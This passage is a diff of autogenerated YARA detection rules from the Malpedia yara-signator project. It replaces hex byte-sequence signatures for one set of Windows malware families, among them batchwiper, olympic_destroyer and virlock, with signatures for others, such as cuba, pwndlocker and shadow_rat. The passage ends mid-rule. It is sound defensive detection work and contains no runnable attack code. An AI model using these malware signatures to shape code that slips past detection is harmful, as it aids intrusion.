MALPEDIA_Win_Breach_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "64606785-caad-5456-be9c-a6b69cbeed8d" + id = "c23c3fa3-17cd-5c37-b04d-874bf808dbb3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mespinoza_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breach_rat_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "8fedbfda9801fec8b36b08d0047fda05662354c890294b93f8c3d358064016b8" + logic_hash = "f6957c0f2edc673a234b7e2f6939826a76594123ef28991fd2cfa30c71d906d4" score = 75 quality = 75 tags = "FILE" @@ -121758,32 +121712,32 @@ rule MALPEDIA_Win_Mespinoza_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a02 6a00 68???????? 6802000080 ff15???????? 8b15???????? } - $sequence_1 = { 894de4 399860554700 0f84ea000000 41 83c030 894de4 3df0000000 } - $sequence_2 = { 6a00 ff5014 c20800 55 8bec 83c1f8 } - $sequence_3 = { 40 8945d4 8bd8 0f1f00 ff75e0 8b17 } - $sequence_4 = { e8???????? 8d8d98efffff e8???????? 8b4df4 } - $sequence_5 = { 897de4 33db 895dfc 895dd4 81fb80000000 7d4d 8b049d00b04700 } - $sequence_6 = { 3347fc 0be8 83ea01 75f0 8b5c2420 896c2410 eb08 } - $sequence_7 = { c6430900 83630c00 c703???????? 8a00 884310 eb02 33db } - $sequence_8 = { 0f57c0 c745fc00000000 660fd64604 6aff 8d4e10 c706???????? c7460c04000000 } - $sequence_9 = { e8???????? 8bd8 33c9 8bc6 895dc8 f7e7 } + $sequence_0 = { 2b4da4 f7e9 c1fa02 8bc2 c1e81f 03c2 744a } + $sequence_1 = { 8b450c 2bf0 83c002 0345f0 56 50 eb08 } + $sequence_2 = { 8d4db8 e8???????? 83c410 84c0 742c 8b4dd4 } + $sequence_3 = { ff4dc4 895d08 0f8548fdffff 8b5d98 8b7d9c 85db } + $sequence_4 = { c745bc00000000 c645ac00 56 8bd7 c645fc0b 8d8d6cffffff e8???????? } + $sequence_5 = { 8bc2 c1e81f 03c2 83f807 7616 8d87a8000000 3bf0 } + $sequence_6 = { 53 57 8b7d08 33db 895df0 85ff 7464 } + $sequence_7 = { e8???????? 8bc8 e8???????? 8d8d24f1ffff c745fcffffffff e8???????? 68???????? } + $sequence_8 = { e8???????? 50 8d8c2480000000 e8???????? 8b442428 85c0 7416 } + $sequence_9 = { 68???????? 8d8d54f7ffff e8???????? 68???????? 8d8554f7ffff c745fcc8000000 50 } condition: - 7 of them and filesize < 1091584 + 7 of them and filesize < 645120 } -rule MALPEDIA_Win_8Base_Auto : FILE +rule MALPEDIA_Win_Qhost_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4b48847-5291-521d-93fb-9294f21140e6" + id = "f6a3ef66-17d7-58a0-96de-8a0c0984b5c6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8base_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qhost_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "b47a40948bded147073cdef65076e2a74aedf9d527ccdea9c267a440037e5b0f" + logic_hash = "905b65375bd0a4c7552598ebcf914fdc02a2fd215e8f336ecf0dd12d8b466ba7" score = 75 quality = 75 tags = "FILE" @@ -121797,32 +121751,32 @@ rule MALPEDIA_Win_8Base_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 ff15???????? 8d8e04a2feff 81f98c230000 770b } - $sequence_1 = { 8b5104 8b4c2408 c74432f45c394000 5e } - $sequence_2 = { 8815???????? c605????????6f 880d???????? c605????????65 c605????????63 } - $sequence_3 = { 8d3485c0289100 8b06 83e71f c1e706 03c7 8a5824 } - $sequence_4 = { c684249c00000002 50 c7442410043a4000 e8???????? } - $sequence_5 = { d3ea 89542414 8b442434 01442414 8b442424 31442410 } - $sequence_6 = { ff15???????? 8b442414 40 3d???????? 89442414 0f8c0effffff 8b35???????? } - $sequence_7 = { 8bf7 83e61f c1e606 033485c0289100 c745e401000000 } - $sequence_8 = { 6689442416 33c9 668954241a 8d442434 50 66894c241c 8b4c241c } - $sequence_9 = { 899c24ac000000 3bfb 7449 8b8424b8000000 56 8d742418 } + $sequence_0 = { b8???????? eb0c 8b4dfc 51 ff15???????? } + $sequence_1 = { 6a04 8d55f0 52 6a07 8b4508 50 } + $sequence_2 = { 50 68???????? 68???????? 680f270000 68???????? } + $sequence_3 = { 7430 6a00 6a02 8d55f8 52 6a23 ff55fc } + $sequence_4 = { 894da0 8b55a0 3b55a4 0f8d56040000 8d459c } + $sequence_5 = { 6880000000 6a00 8d8d74feffff 51 e8???????? 83c40c 8b9570feffff } + $sequence_6 = { e8???????? 83c404 e9???????? 83bd68ffffff06 7536 83bd6cffffff00 752d } + $sequence_7 = { 52 8b45fc 50 ff15???????? eb4a } + $sequence_8 = { 8b8ddcfdffff 51 ff15???????? 83c404 8b95ecfdffff 52 e8???????? } + $sequence_9 = { 50 6800040000 8d8d00fcffff 51 8b95c8fbffff 52 } condition: - 7 of them and filesize < 10838016 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Unidentified_100_Auto : FILE +rule MALPEDIA_Win_Cuba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "46aeb4db-19b2-5469-a0eb-5c4c4a4bf0ff" + id = "86d7ccf5-17e2-58df-93e2-25197c1f8e94" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_100_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuba_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "47aac890cf0ac352426261b33fabc1042e2b5071c52a28784cdba5465d5e39a5" + logic_hash = "06e63a9dd7221f555e50b6728a34cba72d1d2d067337f699676a2804a6a34058" score = 75 quality = 75 tags = "FILE" @@ -121836,32 +121790,38 @@ rule MALPEDIA_Win_Unidentified_100_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb6442420 2580000000 88442402 0fb6442420 } - $sequence_1 = { 488b542420 88040a 6b05????????03 0fb60c24 03c1 4898 488b4c2420 } - $sequence_2 = { 8d0c8d03000000 4863c9 488b542448 4c8b442440 410fb60400 88040a } - $sequence_3 = { 488d9424a0070000 488d8c24a0050000 e8???????? 8b442434 ffc0 eb3d } - $sequence_4 = { 3da5000000 751b 48630424 488b4c2478 c6040146 48630424 } - $sequence_5 = { 488b8c24c0000000 4c8b442468 420fb60c01 e8???????? 0fb6c0 8b4c242c 33c8 } - $sequence_6 = { 488bf1 b932000000 f3a4 488d842402030000 } - $sequence_7 = { 488b8c24c0000000 4c8b842480000000 420fb60c01 e8???????? 0fb6c0 8b4c2438 33c8 } - $sequence_8 = { 742d 4c8d4c2460 41b802000000 488d542464 488b4c2448 ff15???????? 8b442460 } - $sequence_9 = { c744841001000000 e9???????? 48630424 488b4c2470 0fb60401 83f82b 751e } + $sequence_0 = { 85c0 7810 3de4000000 7309 8b04c510704100 5d } + $sequence_1 = { c3 8bff 55 8bec 8b4d08 33c0 3b0cc5905d4100 } + $sequence_2 = { 0019 43 41 00444341 } + $sequence_3 = { 8bd6 c745ac749f4100 8bce 0fb707 } + $sequence_4 = { 000d???????? 384100 b538 41 } + $sequence_5 = { 0026 45 41 003a } + $sequence_6 = { 0026 43 41 00b043410062 } + $sequence_7 = { 0012 45 41 0026 } + $sequence_8 = { 83e801 0f8501010000 c745e004934100 8b4508 } + $sequence_9 = { ff24953c354000 c7878c00000001000000 85c9 747e 3bc6 730a } + $sequence_10 = { 660fc5c400 25f0070000 660f28a040974100 660f28b830934100 660f54f0 660f5cc6 660f59f4 } + $sequence_11 = { ffd7 85c0 750c e8???????? 5f } + $sequence_12 = { 000c43 41 0035???????? 43 } + $sequence_13 = { 003a 45 41 004245 } + $sequence_14 = { 7414 8d85c0f9ffff 50 56 ff15???????? 85c0 75e6 } + $sequence_15 = { 000446 41 00d1 45 } condition: - 7 of them and filesize < 372736 + 7 of them and filesize < 1094656 } -rule MALPEDIA_Win_Batchwiper_Auto : FILE +rule MALPEDIA_Win_Graphsteel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e0f816b-f334-5f53-bde8-8c13e5a1573a" + id = "fd70cca8-a56d-5225-a00e-9e9a8f58f3be" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batchwiper_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphsteel_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7b7cda4dab9bb8ec218294d77768f35a5d54eba78e3d583128b9f7cf9e6690f0" + logic_hash = "e3e7b2c9268861fa25138183cb28ca132ae718be8ddf794ff818ae9183996560" score = 75 quality = 75 tags = "FILE" @@ -121875,34 +121835,34 @@ rule MALPEDIA_Win_Batchwiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? 50 50 ff742408 e8???????? 8d0d2cb14000 5a } - $sequence_1 = { 8d0d24b14000 5a e8???????? c744240c02000000 } - $sequence_2 = { a1???????? 50 50 ff35???????? ff35???????? e8???????? 8d0d9cb14000 } - $sequence_3 = { 8d0d44b14000 e8???????? ba???????? 8d0d48b14000 e8???????? ba???????? 8d0d4cb14000 } - $sequence_4 = { ff96e0de0100 09c0 7407 8903 } - $sequence_5 = { e8???????? a3???????? 8b1d???????? 21db 7e65 c705????????00000000 8b1d???????? } - $sequence_6 = { e8???????? ba???????? 8d0d60b14000 e8???????? ba???????? 8d0d64b14000 e8???????? } - $sequence_7 = { 893d???????? c705????????dd424000 c705????????80464000 c705????????da464000 } - $sequence_8 = { 8b442408 894514 8b442404 894518 } - $sequence_9 = { 46 46 53 686d490100 57 } + $sequence_0 = { c3 488d0584215d00 bb10000000 e8???????? 4889f8 b900200000 e8???????? } + $sequence_1 = { 8b842490000000 85c0 0f84e8feffff 488d4c2470 e8???????? 4489e0 4881c4b0000000 } + $sequence_2 = { 664189856c010000 498b8528010000 4885c0 7407 c7401807000000 4c89e9 4531e4 } + $sequence_3 = { e8???????? 660f1f840000000000 4885c9 0f8425040000 48f7c160000000 7404 31d2 } + $sequence_4 = { ff15???????? 807e6900 7472 8b4628 85c0 7e4e 31db } + $sequence_5 = { e9???????? 488d7101 4839f7 732b 488d0533c23600 e8???????? 488d7301 } + $sequence_6 = { 488d6c2430 48897c2420 48894c2450 48895c2448 4889442428 488d05cd4f4b00 e8???????? } + $sequence_7 = { eb0c 488d3d1e448600 e8???????? 488b0d???????? 48898c24f0020000 488d0533115500 e8???????? } + $sequence_8 = { 90 488b5c2468 488b4c2470 488d3d96682100 4889c6 4531c0 4531c9 } + $sequence_9 = { bb1a000000 e8???????? 0f1f440000 e8???????? 488d0594745400 488d1d8deb6400 e8???????? } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 19812352 } -rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE +rule MALPEDIA_Win_Shadow_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4acd0027-92fe-500e-bf15-82d11cf7dd70" + id = "cd866f0d-a058-5516-ad44-83c67b926cef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.olympic_destroyer_auto.yar#L1-L227" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadow_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadow_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "04c4fa0edf97b10dccc92d5a353a5a44b42a7347836f6e32d55d1c64914c31af" + logic_hash = "f9ac6b211213f8898a8d9a850cbd590282d120dd08d8f19a3ecf3df1330c81a4" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -121914,45 +121874,32 @@ rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 33c0 89542414 57 } - $sequence_1 = { 85c0 7453 8b44242c 8d4c2410 } - $sequence_2 = { ffd7 85c0 0f848c000000 68???????? 8d85c0f9ffff 50 } - $sequence_3 = { 8985d4f7ffff 8d8580f7ffff 56 50 89b5d8f7ffff } - $sequence_4 = { 51 8bce 8b4004 894510 e8???????? 8b4d10 } - $sequence_5 = { 51 8bcf 89442424 e8???????? 8b542424 } - $sequence_6 = { 51 8bcb 8975c4 e8???????? 83c404 8945e4 } - $sequence_7 = { 83e801 743e 83e805 756d 50 50 8b4104 } - $sequence_8 = { 8945fc 53 56 8d45e8 33f6 50 8975e8 } - $sequence_9 = { ff15???????? 85c0 0f88ac000000 6a00 } - $sequence_10 = { 51 8bce 8d52ff e8???????? 83c408 85c0 0f851f040000 } - $sequence_11 = { 51 8bce 8944244c 89bc2480000000 } - $sequence_12 = { 3bc6 742a 0185f0efffff 8b85ecefffff } - $sequence_13 = { a4 4a 40 00d0 4a 40 } - $sequence_14 = { ff74241c ff15???????? 5f 33c0 5e 40 5b } - $sequence_15 = { 0f8794020000 ff2485bc4b5500 51 8d542454 e8???????? 83c404 85c0 } - $sequence_16 = { 8b6c2424 55 6a40 ff15???????? 89442418 85c0 } - $sequence_17 = { 51 8bcb e8???????? 8a45dc } - $sequence_18 = { 89442414 e8???????? 85c0 7415 8d4e08 } - $sequence_19 = { 89442430 8b442444 89442434 751f } - $sequence_20 = { 51 8bce e8???????? 6a00 68???????? } - $sequence_21 = { 50 ffd7 85c0 747a ffb590f9ffff e8???????? eb5f } - $sequence_22 = { 56 ff15???????? 6880ee3600 ff15???????? } + $sequence_0 = { 488b8580000000 483bc6 0f82f1060000 482bc6 49c7c0ffffffff } + $sequence_1 = { 5f c3 488b542468 488d0db6590300 e8???????? 4c8b18 } + $sequence_2 = { e8???????? 448ba570010000 8b4c2438 488d15b7e5fcff 2b4c2448 41b826000000 894c2438 } + $sequence_3 = { 488b8c2430010000 4833cc e8???????? 4881c448010000 415e 415c 5e } + $sequence_4 = { 488d5570 4883bd880000000f 490f47d5 4533e4 4c89642420 4533c9 448b8580000000 } + $sequence_5 = { 488bf1 48894c2428 488bea 7603 488b2a 4c8b6210 48899c2480010000 } + $sequence_6 = { 488b5928 4885db 750d 488d5930 eb07 488d1d785b0400 33d2 } + $sequence_7 = { 664489bd1e010000 ebc2 418bff 488d15009d0100 488bcb e8???????? 4885c0 } + $sequence_8 = { e8???????? 90 0f57c0 0f11442458 660f6f0d???????? f30f7f4c2468 c644245800 } + $sequence_9 = { 488bcf e8???????? 90 488d4c2450 e8???????? 488bc7 488b4d50 } condition: - 7 of them and filesize < 1392640 + 7 of them and filesize < 727040 } -rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE +rule MALPEDIA_Win_Iisniff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d60dc930-c78c-5d42-af04-60f16f7605c1" + id = "5f9ab050-d8e9-5f55-b8de-0b8b687ab914" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_013_korean_malware_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iisniff_auto.yar#L1-L173" license_url = "N/A" - logic_hash = "9a5847dac5275d9c2120b30f47a61dd30ccc7df5d5dee4cad62b8a046a1148d9" + logic_hash = "a06a69af46b33b23bbf69f750fc8ce55147252095bace2f8e829199a964e0a2d" score = 75 quality = 75 tags = "FILE" @@ -121966,32 +121913,37 @@ rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6888130000 4f ffd6 e8???????? 85c0 74eb bfb4000000 } - $sequence_1 = { eb20 8d4604 c60000 eb18 8bc2 c604083f 897e14 } - $sequence_2 = { e8???????? 8d842454030000 50 83ec1c 8bcc 899c2480060000 } - $sequence_3 = { 837c242401 0f85be000000 0fb6542e04 3bd1 7412 } - $sequence_4 = { e8???????? 83c404 837c243410 7221 8b442420 } - $sequence_5 = { 8b4c2410 51 57 50 8944243c ff15???????? 8bf0 } - $sequence_6 = { e8???????? 81c41c010000 c3 55 6a00 6a00 } - $sequence_7 = { 50 8d842458060000 64a300000000 68???????? 68???????? 68???????? } - $sequence_8 = { 8b842420010000 53 56 57 } - $sequence_9 = { 395c2440 7304 8d44242c 8a1c38 0fb6cb } + $sequence_0 = { 8b8c240c000100 56 8d842414000100 50 51 8d542410 52 } + $sequence_1 = { 7413 0fb7542418 8b44241c 50 89570c ff15???????? 8b4f60 } + $sequence_2 = { 51 89742478 e8???????? 8b8c2450010000 83c404 5f } + $sequence_3 = { e8???????? 8b550c 8b02 89450c 3b35???????? 7442 } + $sequence_4 = { 83c710 e8???????? 59 8b4c2414 50 56 6a03 } + $sequence_5 = { 8bc7 c20400 55 8bec 56 57 8b7d08 } + $sequence_6 = { 6a00 e8???????? c745fcffffffff 8b45dc 8b08 8b5104 8b440228 } + $sequence_7 = { 8d8424d0010000 50 89442430 e8???????? } + $sequence_8 = { 037dbc 8d5d94 8d75d4 e8???????? 8bf0 e8???????? 8b4dcc } + $sequence_9 = { 52 8d842434010000 50 8d4c2420 } + $sequence_10 = { 6a03 68000000c0 68???????? ff15???????? 6a02 } + $sequence_11 = { 837d1000 57 8bf9 7e5f 53 8b5d08 56 } + $sequence_12 = { 6a02 e8???????? 83bc24f000000010 8b8424dc000000 7307 8d8424dc000000 ffb424ec000000 } + $sequence_13 = { 59 5e 5b 8b8c243c010000 33cc e8???????? } + $sequence_14 = { 8b7d08 33db 68ff0f0000 8d8424cd000000 53 50 889c24d4000000 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 1441792 } -rule MALPEDIA_Win_Apollo_Shadow_Auto : FILE +rule MALPEDIA_Win_Pwndlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea905677-b1ee-5a47-bc71-e2c692213f7b" + id = "0ef9ef98-b584-5412-b76c-e3c013260c32" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo_shadow" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apollo_shadow_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwndlocker_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "b4c0913bb7700a7eb24e3d781656266dfb7d50769bc9ee1a9816b626000653e9" + logic_hash = "5bc1fe4d9dda2a3d7b92f6be48794f673659ba8123fb93f2622432356a3f4a56" score = 75 quality = 75 tags = "FILE" @@ -122005,34 +121957,34 @@ rule MALPEDIA_Win_Apollo_Shadow_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bce e8???????? 4183ceff 488d0590880200 4a8b04f8 42f644e03801 } - $sequence_1 = { 48898424e0000000 488bf1 48894c2458 4533f6 4489742430 0f57c0 } - $sequence_2 = { 48b8033bae3ba217f877 488945a7 488b75a7 48b8b89c83748f3838d7 488945a7 488b5da7 48b89553bf5390096f5f } - $sequence_3 = { 48b8ffffffffffffff7f 483bc8 0f8793000000 4803c9 4881f900100000 7224 488d4127 } - $sequence_4 = { 48837d3708 480f43451f 48894d2f 66891c48 eb57 488bd1 } - $sequence_5 = { 4053 4883ec20 b908000000 e8???????? 488bd8 4889442430 48c70001000080 } - $sequence_6 = { 0f28458f 33ff 4c8d7dc7 48837ddf08 4c0f437dc7 } - $sequence_7 = { 448b10 410fb609 83e10f 4a0fbe8431489d0300 428a8c31589d0300 4c2bc8 418b41fc } - $sequence_8 = { c744242804000000 488d842480000000 4889442420 41b904000000 4533c0 488b0f ff15???????? } - $sequence_9 = { f3410f7f01 f30f7e4108 660f60c0 660f71e008 f3410f7f4110 f30f7e4110 660f60c0 } + $sequence_0 = { 668b044e 8b721c 01de 8b0486 } + $sequence_1 = { 31ff 31c0 fc ac 84c0 7407 } + $sequence_2 = { 49 8d348a 8b36 01de 31ff 31c0 } + $sequence_3 = { 75e0 5a 8b7224 01de 31c0 668b044e } + $sequence_4 = { 01c7 ebf4 3b7df0 75e0 } + $sequence_5 = { 31c0 fc ac 84c0 7407 c1cf0d } + $sequence_6 = { 8b7224 01de 31c0 668b044e } + $sequence_7 = { 01d8 83c078 8b00 8d3403 8b4e18 8b5620 01da } + $sequence_8 = { 83c078 8b00 8d3403 8b4e18 8b5620 01da } + $sequence_9 = { ac 84c0 7407 c1cf0d 01c7 ebf4 } condition: - 7 of them and filesize < 710656 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Virlock_Auto : FILE +rule MALPEDIA_Win_Minibrowse_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f47c27a-c9f5-5a88-9d0b-7ae966c8318a" + id = "10e3be16-7c28-577f-b9d3-3ef306665a79" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virlock_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibrowse" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibrowse_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "57885374cad55b220d8ca1f9432224bf7f5758a9b4619824c3d2cad7d03a8a3d" + logic_hash = "832a6f1a1806ae15f070571362445b96d0797510bb64e050cd468771ae5f3839" score = 75 - quality = 71 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -122044,34 +121996,34 @@ rule MALPEDIA_Win_Virlock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81f234ea98fc ba77fa04fa bb5191b6fe e8???????? 81f2fcfd84fd bb9d77e800 81f32dcee8ff } - $sequence_1 = { 41 4a 54 52 4a 4b 55 } - $sequence_2 = { 68???????? eb0a 68???????? 68???????? e8???????? 83fa00 751b } - $sequence_3 = { 49 52 43 52 58 } - $sequence_4 = { 3b12 3646 9a19386f50123e 54 0ae7 0220 6f } - $sequence_5 = { d0c3 4a 43 d0a90a2bd0f3 } - $sequence_6 = { bb666d87fd 83e904 ba0dd2b2fe eb00 83f905 7d74 bb93ec7eff } - $sequence_7 = { 6b484768 e4cc 681cafc880 cf 6a78 d6 49 } - $sequence_8 = { 70c1 8a6a8f b3f0 46 fd 098f46182e59 53 } - $sequence_9 = { 36a25c6a5eac 42 775c 44 e4f2 2b470c d04ba2 } + $sequence_0 = { 488b10 488b442440 488b08 49b9fe54fd6de0b04522 4c030d???????? } + $sequence_1 = { eb00 488b45b8 8b10 488d4dd8 e8???????? eb00 488b15???????? } + $sequence_2 = { 48b82faa1e82712b2956 480305???????? 8b08 48b82faa1e82712b2956 480305???????? 8908 48b82faa1e82712b2956 } + $sequence_3 = { ffd0 4889442430 488b542430 488b4c2438 49b8ae95c15973721312 4c0305???????? 48b80ca985ca9581e688 } + $sequence_4 = { f7f1 89c1 48b85a5ff63d0a40dfa2 480305???????? 8908 48b85a5ff63d0a40dfa2 480305???????? } + $sequence_5 = { b903000000 31d2 f7f1 89c1 48b8d4f3e92d0d1244e8 480305???????? } + $sequence_6 = { 48894c2438 488b442438 4889442428 488b4c2440 48ba99b0f0dd579ba6c4 480315???????? 48b86641bd6f7fab0f25 } + $sequence_7 = { e9???????? 488b442438 48c7401000000000 488b442438 48c7401807000000 66c744244e0000 488b4c2438 } + $sequence_8 = { 01ca 48b9ae6044a06c22125f 48030d???????? 8911 a801 7502 eb36 } + $sequence_9 = { 4883ec48 88542447 4c89442438 48894c2430 488b4c2430 48894c2428 48ba856a0e13b3e6f301 } condition: - 7 of them and filesize < 4202496 + 7 of them and filesize < 1779712 } -rule MALPEDIA_Win_Rdat_Auto : FILE +rule MALPEDIA_Win_Chinad_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5a60ab37-0286-51c1-b368-c89969708302" + id = "bcb15e04-b813-5c23-a320-19f34e438aaa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rdat_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinad_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "a3c5411cc41035f8ac417b9a4fa9bb993690d8d8e560ea34758edef8eeee5bff" - score = 60 - quality = 45 + logic_hash = "68dce9aa3cd2233ae8311dfd66d73079e3ad26ce882f6e912148b0f3a7f1f190" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -122083,38 +122035,32 @@ rule MALPEDIA_Win_Rdat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8bc3 4c0f42c7 4d85c0 7504 } - $sequence_1 = { 48897020 498bf8 488bda 488bf1 b920000000 } - $sequence_2 = { 0f8d9e000000 488b4660 3b5668 7c1d } - $sequence_3 = { 0f8d83000000 488b82b0000000 443b82b8000000 7c25 442b82b8000000 48638ab8000000 488b7cc8f8 } - $sequence_4 = { 4533c9 488bfa 4c8bc1 85db 7e77 } - $sequence_5 = { 4889742410 57 4883ec20 488b02 488bf1 488bfa 488b18 } - $sequence_6 = { 0f85a8000000 83791804 0f859e000000 8b4920 } - $sequence_7 = { 6690 48ffc3 4038341a 75f7 4883791810 488b7910 7203 } - $sequence_8 = { 85c0 740b b9e8030000 ff15???????? } - $sequence_9 = { e8???????? 4898 4885c0 751e 483bfb 7313 } - $sequence_10 = { 4883ec40 48c740d8feffffff 48895808 48897020 } - $sequence_11 = { 0f8d89000000 496398b8000000 498b80b0000000 3bd3 } - $sequence_12 = { 488b7910 7203 488b09 483bfb 4c8bc3 4c0f42c7 } - $sequence_13 = { 486bd158 490314c0 eb07 488d15f6a30100 f6420820 7417 } - $sequence_14 = { 41b803000000 498b17 488d4d90 e8???????? 90 } - $sequence_15 = { 90 48c78424b80000000f000000 4c89b424b0000000 c68424a000000000 4983c9ff 4533c0 488d942470030000 } + $sequence_0 = { 0facde15 83c007 c1fb15 50 89b574ffffff 899d44ffffff e8???????? } + $sequence_1 = { 2385d4feffff 8d93f36f2e68 8985d8feffff 8bc6 2385b8feffff 0985d8feffff 8bc7 } + $sequence_2 = { c64418050a 745a 8b048d88ec4300 8a441825 3c0a } + $sequence_3 = { 8d8534ffffff 50 e8???????? 8d8534ffffff 50 e8???????? 83c430 } + $sequence_4 = { 13bd2cfdffff 81c3281e6323 81d7faffbe90 019d14fdffff 11bd38fdffff } + $sequence_5 = { 898508fdffff 8b8514fdffff 33ff 898d2cfdffff 33d2 8b8d38fdffff } + $sequence_6 = { 0facca08 8975fc c1e908 8850f8 8bce 8bd3 0facca10 } + $sequence_7 = { 50 e8???????? 8b4dec 33c8 8b4514 03c1 894dec } + $sequence_8 = { 8b8d9cfeffff 898d9cfeffff 8b9594feffff 899590feffff 8b8598feffff 898594feffff 8b8da4feffff } + $sequence_9 = { 8b8520fdffff 0bd1 319508fdffff 33d2 